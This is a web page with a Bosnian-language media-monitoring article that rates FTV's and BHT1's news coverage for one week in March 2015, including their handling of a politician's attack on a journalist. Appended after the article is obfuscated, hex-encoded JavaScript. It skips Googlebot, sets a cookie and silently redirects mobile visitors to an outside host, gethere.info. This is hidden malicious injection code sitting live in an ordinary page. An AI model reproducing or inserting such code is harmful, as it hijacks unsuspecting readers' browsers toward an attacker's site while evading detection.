BHT1 I FTV: Nije loše, može i mora bolje

BHT ima dobre priče i sve zanimljivije dnevnike. Niko kao FTV nije skenirao beskrupuloznost...

BHT1 I FTV: Nije loše, može i mora bolje

BHT ima dobre priče i sve zanimljivije dnevnike. Niko kao FTV nije skenirao beskrupuloznost tuzlanske vlasti. Ono gdje su ove televizije pale na ispitu odnosi se na izvještavanje o Dodikovom napadu na novinarku Gordanu Katanu. Izostala je solidarnost, a ni naknadni prilozi nisu popravili utisak

 

 

FTV: Između ozbiljnog žurnalizma i falš županizma

10. – 16. mart 2015.

ZAŠTO JOŠ NEMA REVOLUCIJE U TUZLI? Tokom ove, ali i proteklih sedmica (ako ne i mjeseci), u centralnim informativnim emisijama Federalne TV izdvajaju se prilozi dopisnika iz Tuzle – zbog profesionalnosti, informativnosti i uloženog truda vrijednih kolega. Ove sedmice izdvajamo prilog emitovan 13. marta (Rasim Borčak) o tome kako su poslanici u Skupštini, tajnim glasanjem, odlučili sebi povećati ionako previsoka primanja. Kolega je izračunao da će, prema novoj odluci, predsjednik Skupštine dobijati mjesečno oko 6.000 KM, uz neograničenu upotrebu službenog vozila i mobitela. Predsjednici poslaničkih klubova će imati po 4.000 mjesečno, plus 100 KM za telefonske troškove. I sve to u kantonu gdje su ljudi prisiljeni izlagati život opasnosti ilegalno kopajući ugalj, a kako bi zaradili tek možda 30 do 40 KM dnevno u zimskim mjesecima. No, da je javnost slušala sve izvještaje kolega iz Tuzle u posljednjih godinu dana, do sada bi se desila revolucija.

DVA LICA SNSD-a: Bilo je još zanimljivih detalja koje su primjećivale kolege sa FTV-a tokom prošle sedmice. Jedan od njih je i o poslanicima SNSD-a koji protestno napuštaju sjednice državnog parlamenta, ali im ne smeta da sjede na sastancima na kojima se odlučuje o raspodjeli pozicija ili novca (11. mart, Darjan Babić).

TVRDOGLAVOST UREDNIKA I NOVINARA: Nažalost, urednici i novinari FTV-a tvrdoglavo ne žele odustati od senzacionalizma, politikanizma i “županizma” (s tim što insistiranje na ovom zadnjem zaista prelazi sve granice ukusa, a da ne govorimo da ponovo i ponovo krše Ustav, što je sramotno, i vrijeme je za sankcioniranje urednika i novinara koji insistiraju na ovome). Bilo je i potpuno nepotrebnih priloga, koji su urađeni na krajnje netelevizičan način. Recimo, informacija o posjeti visoke zvaničnice Vijeća Evrope propraćena fotografijama valjda iz press-ureda ove institucije u BiH i njihovim saopćenjem (11. mart). U kojem ne kažu ništa. Ovo, naprosto, nema vrijednost informacije jer se ništa nije desilo izuzev posjete koja je valjda redovna aktivnost. Isti dan je emitovana i protokolarna vijest o posjeti američke ambasadorice memorijalnom centru u Potočarima. Potpuno bespotrebno i nerelevantno za široku javnost.

NEKRITIČKI PRISTUP: Prilog emitovan 16. marta (Amra Zaklan) o tome kako je neko na nekoj konferenciji zaključio kako sve što BiH treba je promjena imidža, valjda je neka ironija? I nije problem u zaključcima konferencije, nego u nekritičkom pristupu novinara koji o tome izvještavaju.

NAGAĐANJA UMJESTO PREISPITIVANJA: Naravno, nagađali su i ove sedmice o sastavu vlade, ko se s kim i zbog čega svađa u političkim partijama, ali ništa nismo čuli o ministarskim kandidatima i onom što su do sada uradili. A nema tu skoro pa nijednog novog imena. Neka stara, pak, zaslužuju mnogo prostora u medijima jer su bili na funkcijama u proteklih 20 godina, i nerijetko njihovi mandati su završavali sramno, uz velika negodovanja javnosti. Ništa o tome nismo mogli čuti u informativnim emisijama FTV-a prošle sedmice. Zanimljivo bi, recimo, bilo za javnost da saznamo koliko dugo neko može obavljati jednu te istu funkciju na vlasti. Dobar povod je mogućnost da jedan te isti čovjek po treći put bude imenovan za ministra pravde BiH. Važno je napomenuti da je to oblast u kojoj je na račun BiH iz godine u godinu upućeno najviše kritika.

PLUS SEDMICE

Dana 16. marta emitovan je prilog iz Goražda u kojem planiraju izgradnju spomenika žrtvama u Srebrenici. Ono zbog čega je ovo svakako vrijedna priča jeste to da će se spomenik sastojati od sadnica drveća, za svakog ubijenog po jedno drvo, što je potpuno drugačiji pristup memorijalizaciji. (Mada se može postaviti pitanje da li u ovom siromašnom kantonu ima potrebe za velikim memorijalnim centrom s obzirom da postoji jedan za žrtve genocida u Srebrenici.)

MINUS SEDMICE

Izvori koji novinari i urednici imaju u pravosudnim organima, odnosno nekritički pristup koji imaju prema informacijama koje im daju ti izvori, nikako ne ide u korist javnosti. Emitovanje neprovjerenih informacija, bombardovanje javnosti imenima osoba koje su uhapšene prije podizanja optužnica, čitanje tajnih dokumenata, pozivanje na sumnjive izvore… Svemu tome nikako nije mjesto u programima javnog servisa. Primjer neprofesionalnosti je način na koji su ove sedmice izvještavali o hapšenju četiri osobe koje su navodno učestvovale u konstruisanju eksplozivne naprave. Prosječno informisanom gledaocu nije ništa jasno o tom slučaju ni nakon sedam dana izvještaja u dnevniku FTV-a. Prvo, je li terorizam ili nije? Naime, švedska policija (koja je valjda tragala za uhapšenima) tvrdi da nije, ali Tužilaštvo BiH – uz podršku FTV-a – kaže da jeste i ne odustaje od toga ni za pedalj. Uz to, u jednom trenutku su novinari FTV-a čak spomenuli da uhapšeni imaju “islamsku pozadinu”. Šta to znači? Onda se spominje nizozemska policija, koja valjda isto kaže da je bio terorizam, ali ne znamo ni otkud nizozemska policija ni zašto njih sada uvlače u priču. (Još manje je jasno kako je Švedska povezana u priču o akciji koju su naši organi vodili pod kodnim imenom “Benelux”. Naime, zemlje Beneluxa su Belgija, Nizozemska i Luksemburg, tek da podsjetimo.) U jednom trenutku novinari FTV-a su čak iščitavali sadržaj nekog navodno povjerljivog dokumenta u kojem se uhapšeni vežu za terorizam. Zar to nije potencijalno ometanje istrage? Kažu da taj dokument imaju naši pravosudni organi. Znači da je to izvor? Čini se da informacije iz ovih organa ozbiljno cure. Emitovati takve informacije, ako su od javnog interesa, jeste potrebno, ali zaista treba pristupati pažljivo i provjeravati ih više puta. To što je neko dobio neki dokument od tužilaštva ili policije ne znači da je to informacija u koju treba vjerovati i prezentovati je tek tako javnosti. Štaviše, nedopustivo je i vrlo neprofesionalno.

OCJENA 2 (županija, pored ostalog)

BHT1:  Sve zanimljiviji dnevnici

10. – 16. mart 2015.

EVIDENTNE PROMJENE: Centralne informativne emisije BHT1 iz sedmice u sedmicu postaju sve zanimljivije. To, nažalost, ne znači da su uvijek i profesionalno urađene, ali svakako je primjetna promjena ne samo u odabiru tema nego i u pristupu koji imaju urednici i novinari. Izdvajaju se prilozi i dnevnici Svjetlane Vučetić, uključujući prilog emitovan 14. marta (dnevnik uredila Samira Krehić) o zakonu o igrama na sreću. Novinarka je tematizirala ovo pitanje i skreće pažnju na važan problem nedostatka zakona koji bi regulisao ovaj sektor. Također ukazuje na činjenicu da nije mali broj vlasnika kladionica koji izbjegavaju plaćanje poreza. Novinarka objašnjava tačno kako to rade, ima stručnjake koji objašnjavaju šta se dešava i koji su problem, te koje su posljedice. Dok prezentuje, novinarka djeluje samouvjereno jer očito se dobro pripremila za temu o kojoj je izvještavala, zbog čega je i uvjerljiva gledaocu. Izuzetno profesionalno urađen prilog, informativan, analitičan i prezentovan na siguran način.

PROTJERALI VLAST U DRUGU POLOVINU: Urednici su donijeli odluku, čini se, i da pitanja o formiranju vlasti, dok se valjda nešto konkretno ne desi, potisnu – s pravom – u drugu polovinu dnevnika.

ŠTA MISLITE O IVI ANDRIĆU? Zanimljivo je i da BHT1 sve češće koriste anketu na ulicama, što je pohvalno. No, nekada i pretjeraju s anketama. Nema potrebe da se baš o svemu pita građane. Recimo, potpuno je bespotrebno pitati građane šta misle o Ivi Andriću na 40. godišnjicu njegove smrti, a naročito lamentirati nad pitanjem čiji je on pisac (13. mart, Blažica Krišto). Važnije nam je bilo saznati šta misle nadležni o činjenici da uposlenici muzeja Ive Andrića u Travniku nisu imali novca da postave izložbu na ovu godišnjicu.

I ŠTA MISLITE O EFENDIJI? Isto tako je potpuno suvišno nastavljati sa trakavicom o efendiji Beganoviću. No, 13. marta, novinarka ne samo da se ponovo upušta u ovu priču, nego odlazi pred džamiju i mještane sela gdje je Beganović bio imam pita šta oni misle o njemu. Kako je ovo od javnog interesa?

PLUS SEDMICE

U dnevniku 14. marta (Samira Krehić), u dijelu posvećenom temama iz kulture, emitovan je vrlo dobar, analitičan i profesionalan prilog o nedostatku sredstava u ovoj oblasti. Nadamo se da će biti još ovakvih priloga.

MINUS SEDMICE

Ista urednica je dan kasnije, u dijelu dnevnika sa vijestima iz kulture, emitovala prilog o novoj predstavi u Narodnom pozorištu u Sarajevu koji bi bio dobar da je prikazan u nekoj emisiji gdje se najavljuju događaji, bez iole truda novinara da nam daju neku korisnu informaciju. Zašto novinari ne pogledaju predstave i filmove o kojima govore? Ili barem pročitaju šta su rekli oni koji su to uradili. Izvještaj s konferencije za medije uoči neke predstave je besmislen.

OCJENA: 5

UPOREDNA ANALIZA

Način na koji su i BHT1 i FTV izvještavali o napadu jednog javnog zvaničnika na novinarku Gordanu Katanu je sramotan i neprimjeren te krajnje nekolegijalan. Na BHT-u, na dan kada se verbalni napad desio u Banjaluci, u centralnom dnevniku to nije ni spomenuto. A imaju dopisnika u tom gradu koji je stajao kraj Gordane dok ju je napadao političar koji obnaša veoma visoku funkciju u Republici Srpskoj. Ne da nisu osudili, nego nisu to ni spomenuli. Za oba javna servisa je napad na novinarku bio samo još jedan povod za politizaciju. Umjesto da govore o napadu na novinarske slobode, da osude javno korištenje jezika mržnje, oni su se iz dana u dan vraćali toj temi, uporno dajući prostor političarima da govore jedni protiv drugih, te su potpuno promašili suštinu ove priče. Time su, naravno, samo išli u korist političarima, nikako javnosti, ili sami sebi. Istina, ponavljali su pozive na bojkot ovog političara koji je uputilo Udruženje BH novinari, ali nisu se sami držali poziva jer su se stalno vraćali na njega i ustvari pričali o njemu.

Možda je odgovor u rečenici koju je napisala Gordana Katana nakon napada: “Biti novinar znači iz dana u dan kritički propitivati stvarnost. Ne lagati. Postavljati pitanja, tražiti odgovore. U ime svih onih koji nemaju privilegiju javne riječi.” Čini se da je Gordana bila jedina novinarka na ovoj konferenciji za medije.

ZANIMLJIVOST

Nekada su vijesti iz BiH stvarno na granici mogućeg. Takva je i ona o sutkinji iz Banjaluke koja je privremeno udaljena sa pozicije jer je kao ministrica pravosuđa i uprave nezakonito sačinila i ovjerila uvjerenje o stručnom ispitu za svog supruga na osnovu kojeg je on našao posao na općinskom sudu. Da nismo u BiH, ovo bi bio veliki skandal. Ovdje je ovo samo još jedan slučaj u nizu sličnih (prilog emitovan u Dnevniku 2 BHT1, 10. marta, Svjetlana Vučetić).

 (U četvrtak, 19. marta čitajte analizu Gordane Katane: RTRS i BN TV)

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

About The Author